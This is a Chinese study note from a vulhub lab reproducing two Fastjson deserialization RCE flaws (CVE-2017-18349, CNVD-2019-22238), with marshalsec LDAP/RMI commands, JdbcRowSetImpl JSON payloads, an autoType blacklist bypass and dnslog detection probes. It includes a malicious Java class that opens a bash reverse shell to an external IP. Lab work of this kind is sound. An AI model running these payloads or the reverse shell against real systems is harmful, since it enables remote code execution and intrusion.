当前位置: 首页 > article >正文

【Web】vulhub Fastjson反序列化漏洞复现学习笔记

目录

1.2.24 RCE CVE-2017-18349

复现流程

原理分析

1.2.47 RCE CNVD-2019-22238

复现流程

原理分析

漏洞探测


1.2.24 RCE CVE-2017-18349

复现流程

vulhub启动靶场

用marshalsec启动LDAP/RMI服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.142.132:8089/#LinuxTouch" 9473
用python启动HTTP服务,存放恶意字节码(LinuxTouch.class)

 LinuxTouch.java

public class LinuxTouch {
    public LinuxTouch(){
        try{
            Runtime.getRuntime().exec("touch /tmp/fast-success.txt");
        }catch(Exception e){
            e.printStackTrace();
        }
    }
    public static void main(String[] argv){
        LinuxTouch e = new LinuxTouch();
    }
}

效果是在靶机临时目录下创建一个success文件

payload:

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://124.222.136.33:9473/suibian",
        "autoCommit":true
    }
}

发现python启动的http服务接收到字节码请求

再看靶机容器的/tmp下,成功创建success文件

原理分析

1、序列化字符准备类名、dataSourceName属性和autoCommit属性
2、JdbcRowSetImpl反序列化,调用JdbcRowSetImpl的setAutoCommit()
3、setAutoCommit()调用connect()
4、connect()调用lookup()连接到LDAP/RMI服务器
5、下载恶意代码到本地,执行,攻击发生

1.2.47 RCE CNVD-2019-22238

复现流程

vulhub启动靶场

 用marshalsec启动LDAP/RMI服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://124.222.136.33:8089/#LinuxRevers" 9473

 用python启动HTTP服务,存放恶意字节码(LinuxRevers.class)

 LinuxRevers.java

public class LinuxRevers {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/124.222.136.33/1337 0>&1"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
        }
    }
}

效果是反弹shell给1337端口

监听1337端口

payload:

{"a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"
},"b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://124.222.136.33:9473/suibian", "autoCommit":true
}
}

 发现marshalsec转发请求,python启动的http服务接收到字节码请求

 

1337端口成功反弹shell

原理分析

 autoTypeSupport为true时,fastjson首先判断类是否在白名单内,命中则加载该类

接着判断类是否在黑名单内且TypeUtils.mappings中没有该类缓存,才抛出异常。

接着继续尝试在TypeUtils.mappings中查找缓存的class

我们的利用方法就是先将恶意类加入到mappings中,以此绕过黑名单的检测,在利用恶意类进行攻击

漏洞探测

1、找到发送JSON序列化数据的接口
2、判断是否使用fastjon
1)非法格式报错
{"x":"
2)使用dnslog探测
{"x":{"@type":"java.net.Inet4Address" , "val":"xxx.dnslog.cn"}}

http://www.kler.cn/a/231917.html

相关文章:

  • [前端面试]javascript
  • 【网络安全】网络安全防护体系
  • 酒店行业数据仓库
  • 职场汇报技巧:选择合适的汇报形式与提供数据依据
  • rust高级特征
  • 工作时发现自己手写SQL能力很低,特此再来学习一遍SQL
  • Leetcode第383场周赛
  • 26.云原生ArgoCD高级之ApplicationSet
  • Linux openKylin(开放麒麟)系统SSH服务安装配置与公网远程连接
  • ubuntu22.04安装部署02:禁用显卡更新
  • debian12 解决 github 访问难的问题
  • 反向迭代器
  • SQL Parser
  • JavaScript流程控制详解之循环结构(倒三角、九九乘法表)
  • C语言:矩阵中的最小元素
  • On the Spectral Bias of Neural Networks论文阅读
  • Docker-Learn(一)使用Dockerfile创建Docker镜像
  • Windows SDK(四)鼠标和键盘消息处理
  • 已解决:tpm2_createpriimay: command not found
  • 相机图像质量研究(7)常见问题总结:光学结构对成像的影响--镜片固化
  • pytorch入门第一天
  • 【Spring连载】使用Spring Data访问Redis(九)----Redis流 Streams
  • 打卡今天学习的命令 (linux
  • 深度学习本科课程 实验3 网络优化
  • Terraform实战(三)-在AWS上尝试Terraform的Vault Provider
  • Golang 并发 Cond条件变量